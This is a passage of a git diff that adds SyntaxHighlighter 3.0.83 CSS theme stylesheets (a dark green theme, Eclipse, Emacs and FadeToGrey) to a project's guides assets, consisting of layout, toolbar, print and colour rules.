+.syntaxhighlighter table caption {
+ text-align: left !important;
+ padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+ width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+ position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+ box-sizing: border-box !important;
+ position: absolute !important;
+ left: 0 !important;
+ top: 0 !important;
+ width: 100% !important;
+ height: 100% !important;
+ border: none !important;
+ background: white !important;
+ padding-left: 1em !important;
+ overflow: hidden !important;
+ white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+ text-align: right !important;
+ padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+ padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+ padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+ display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ padding: 0.1em 0.8em 0em 0.8em !important;
+ font-size: 1em !important;
+ position: static !important;
+ width: auto !important;
+ height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+ display: inline !important;
+ margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+ padding: 0 !important;
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+ position: absolute !important;
+ right: 1px !important;
+ top: 1px !important;
+ width: 11px !important;
+ height: 11px !important;
+ font-size: 10px !important;
+ z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+ display: block !important;
+ text-align: center !important;
+ text-decoration: none !important;
+ padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+ display: none !important;
+}
+.syntaxhighlighter.ie {
+ font-size: .9em !important;
+ padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+ line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+ padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+ background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+ color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+ color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+ display: none !important;
+}
+.syntaxhighlighter.printing a {
+ text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+ color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+ color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+ color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+ color: #006699 !important;
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+ color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+ color: black !important;
+}
+
+.syntaxhighlighter {
+ background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #233729 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: white !important;
+}
+.syntaxhighlighter table caption {
+ color: #f8f8f8 !important;
+}
+.syntaxhighlighter .gutter {
+ color: #497958 !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #41a83e !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #41a83e !important;
+ color: #0a2b1d !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #96dd3b !important;
+ background: black !important;
+ border: 1px solid #41a83e !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #96dd3b !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar {
+ color: white !important;
+ background: #41a83e !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #ffe862 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: #f8f8f8 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #336442 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #9df39f !important;
+}
+.syntaxhighlighter .keyword {
+ color: #96dd3b !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #91bb9e !important;
+}
+.syntaxhighlighter .variable {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+ color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+ color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #96dd3b !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: #eb939a !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: #91bb9e !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #edef7d !important;
+}
+
+.syntaxhighlighter .comments {
+ font-style: italic !important;
+}
+.syntaxhighlighter .keyword {
+ font-weight: bold !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css
new file mode 100644
index 0000000..a45de9f
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css
@@ -0,0 +1,339 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+ -moz-border-radius: 0 0 0 0 !important;
+ -webkit-border-radius: 0 0 0 0 !important;
+ background: none !important;
+ border: 0 !important;
+ bottom: auto !important;
+ float: none !important;
+ height: auto !important;
+ left: auto !important;
+ line-height: 1.1em !important;
+ margin: 0 !important;
+ outline: 0 !important;
+ overflow: visible !important;
+ padding: 0 !important;
+ position: static !important;
+ right: auto !important;
+ text-align: left !important;
+ top: auto !important;
+ vertical-align: baseline !important;
+ width: auto !important;
+ box-sizing: content-box !important;
+ font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+ font-weight: normal !important;
+ font-style: normal !important;
+ font-size: 1em !important;
+ min-height: inherit !important;
+ min-height: auto !important;
+}
+
+.syntaxhighlighter {
+ width: 100% !important;
+ margin: 1em 0 1em 0 !important;
+ position: relative !important;
+ overflow: auto !important;
+ font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+ overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+ font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+ font-style: italic !important;
+}
+.syntaxhighlighter .line {
+ white-space: pre !important;
+}
+.syntaxhighlighter table {
+ width: 100% !important;
+}
+.syntaxhighlighter table caption {
+ text-align: left !important;
+ padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+ width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+ position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+ box-sizing: border-box !important;
+ position: absolute !important;
+ left: 0 !important;
+ top: 0 !important;
+ width: 100% !important;
+ height: 100% !important;
+ border: none !important;
+ background: white !important;
+ padding-left: 1em !important;
+ overflow: hidden !important;
+ white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+ text-align: right !important;
+ padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+ padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+ padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+ display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ padding: 0.1em 0.8em 0em 0.8em !important;
+ font-size: 1em !important;
+ position: static !important;
+ width: auto !important;
+ height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+ display: inline !important;
+ margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+ padding: 0 !important;
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+ position: absolute !important;
+ right: 1px !important;
+ top: 1px !important;
+ width: 11px !important;
+ height: 11px !important;
+ font-size: 10px !important;
+ z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+ display: block !important;
+ text-align: center !important;
+ text-decoration: none !important;
+ padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+ display: none !important;
+}
+.syntaxhighlighter.ie {
+ font-size: .9em !important;
+ padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+ line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+ padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+ background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+ color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+ color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+ display: none !important;
+}
+.syntaxhighlighter.printing a {
+ text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+ color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+ color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+ color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+ color: #006699 !important;
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+ color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+ color: black !important;
+}
+
+.syntaxhighlighter {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #c3defe !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: white !important;
+}
+.syntaxhighlighter table caption {
+ color: black !important;
+}
+.syntaxhighlighter .gutter {
+ color: #787878 !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #d4d0c8 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #d4d0c8 !important;
+ color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #3f5fbf !important;
+ background: white !important;
+ border: 1px solid #d4d0c8 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #3f5fbf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter .toolbar {
+ color: #a0a0a0 !important;
+ background: #d4d0c8 !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: #a0a0a0 !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: red !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #3f5fbf !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #2a00ff !important;
+}
+.syntaxhighlighter .keyword {
+ color: #7f0055 !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #646464 !important;
+}
+.syntaxhighlighter .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #7f0055 !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+ font-weight: bold !important;
+}
+.syntaxhighlighter .xml .keyword {
+ color: #3f7f7f !important;
+ font-weight: normal !important;
+}
+.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
+ color: #7f007f !important;
+}
+.syntaxhighlighter .xml .string {
+ font-style: italic !important;
+ color: #2a00ff !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css
new file mode 100644
index 0000000..706c77a
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+ -moz-border-radius: 0 0 0 0 !important;
+ -webkit-border-radius: 0 0 0 0 !important;
+ background: none !important;
+ border: 0 !important;
+ bottom: auto !important;
+ float: none !important;
+ height: auto !important;
+ left: auto !important;
+ line-height: 1.1em !important;
+ margin: 0 !important;
+ outline: 0 !important;
+ overflow: visible !important;
+ padding: 0 !important;
+ position: static !important;
+ right: auto !important;
+ text-align: left !important;
+ top: auto !important;
+ vertical-align: baseline !important;
+ width: auto !important;
+ box-sizing: content-box !important;
+ font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+ font-weight: normal !important;
+ font-style: normal !important;
+ font-size: 1em !important;
+ min-height: inherit !important;
+ min-height: auto !important;
+}
+
+.syntaxhighlighter {
+ width: 100% !important;
+ margin: 1em 0 1em 0 !important;
+ position: relative !important;
+ overflow: auto !important;
+ font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+ overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+ font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+ font-style: italic !important;
+}
+.syntaxhighlighter .line {
+ white-space: pre !important;
+}
+.syntaxhighlighter table {
+ width: 100% !important;
+}
+.syntaxhighlighter table caption {
+ text-align: left !important;
+ padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+ width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+ position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+ box-sizing: border-box !important;
+ position: absolute !important;
+ left: 0 !important;
+ top: 0 !important;
+ width: 100% !important;
+ height: 100% !important;
+ border: none !important;
+ background: white !important;
+ padding-left: 1em !important;
+ overflow: hidden !important;
+ white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+ text-align: right !important;
+ padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+ padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+ padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+ display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ padding: 0.1em 0.8em 0em 0.8em !important;
+ font-size: 1em !important;
+ position: static !important;
+ width: auto !important;
+ height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+ display: inline !important;
+ margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+ padding: 0 !important;
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+ position: absolute !important;
+ right: 1px !important;
+ top: 1px !important;
+ width: 11px !important;
+ height: 11px !important;
+ font-size: 10px !important;
+ z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+ display: block !important;
+ text-align: center !important;
+ text-decoration: none !important;
+ padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+ display: none !important;
+}
+.syntaxhighlighter.ie {
+ font-size: .9em !important;
+ padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+ line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+ padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+ background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+ color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+ color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+ display: none !important;
+}
+.syntaxhighlighter.printing a {
+ text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+ color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+ color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+ color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+ color: #006699 !important;
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+ color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+ color: black !important;
+}
+
+.syntaxhighlighter {
+ background-color: black !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: black !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: black !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #2a3133 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: white !important;
+}
+.syntaxhighlighter table caption {
+ color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter {
+ color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #990000 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #990000 !important;
+ color: black !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #ebdb8d !important;
+ background: black !important;
+ border: 1px solid #990000 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #ebdb8d !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: #ff7d27 !important;
+}
+.syntaxhighlighter .toolbar {
+ color: white !important;
+ background: #990000 !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: #d3d3d3 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #ff7d27 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #ff9e7b !important;
+}
+.syntaxhighlighter .keyword {
+ color: aqua !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #aec4de !important;
+}
+.syntaxhighlighter .variable {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+ color: #81cef9 !important;
+}
+.syntaxhighlighter .constants {
+ color: #ff9e7b !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: aqua !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: #ebdb8d !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: #ff7d27 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #aec4de !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css
new file mode 100644
index 0000000..6101eba
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css
@@ -0,0 +1,328 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+ -moz-border-radius: 0 0 0 0 !important;
+ -webkit-border-radius: 0 0 0 0 !important;
+ background: none !important;
+ border: 0 !important;
+ bottom: auto !important;
+ float: none !important;
+ height: auto !important;
+ left: auto !important;
+ line-height: 1.1em !important;
+ margin: 0 !important;
+ outline: 0 !important;
+ overflow: visible !important;
+ padding: 0 !important;
+ position: static !important;
+ right: auto !important;
+ text-align: left !important;
+ top: auto !important;
+ vertical-align: baseline !important;
+ width: auto !important;
+ box-sizing: content-box !important;
+ font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+ font-weight: normal !important;
+ font-style: normal !important;
+ font-size: 1em !important;
+ min-height: inherit !important;
+ min-height: auto !important;
+}
+
+.syntaxhighlighter {
+ width: 100% !important;
+ margin: 1em 0 1em 0 !important;
+ position: relative !important;
+ overflow: auto !important;
+ font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+ overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+ font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+ font-style: italic !important;
+}
+.syntaxhighlighter .line {
+ white-space: pre !important;
+}
+.syntaxhighlighter table {
+ width: 100% !important;
+}
+.syntaxhighlighter table caption {
+ text-align: left !important;
+ padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+ width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+ position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+ box-sizing: border-box !important;
+ position: absolute !important;
+ left: 0 !important;
+ top: 0 !important;
+ width: 100% !important;
+ height: 100% !important;
+ border: none !important;
+ background: white !important;
+ padding-left: 1em !important;
+ overflow: hidden !important;
+ white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+ text-align: right !important;
+ padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+ padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+ padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+ display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ padding: 0.1em 0.8em 0em 0.8em !important;
+ font-size: 1em !important;
+ position: static !important;
+ width: auto !important;
+ height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+ display: inline !important;
+ margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+ padding: 0 !important;
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+ position: absolute !important;
+ right: 1px !important;
+ top: 1px !important;
+ width: 11px !important;
+ height: 11px !important;
+ font-size: 10px !important;
+ z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+ display: block !important;
+ text-align: center !important;
+ text-decoration: none !important;
+ padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+ display: none !important;
+}
+.syntaxhighlighter.ie {
+ font-size: .9em !important;
+ padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+ line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+ padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+ background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+ color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+ color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+ display: none !important;
+}
+.syntaxhighlighter.printing a {
+ text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+ color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+ color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+ color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+ color: #006699 !important;
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+ color: #009900 !important;
+}
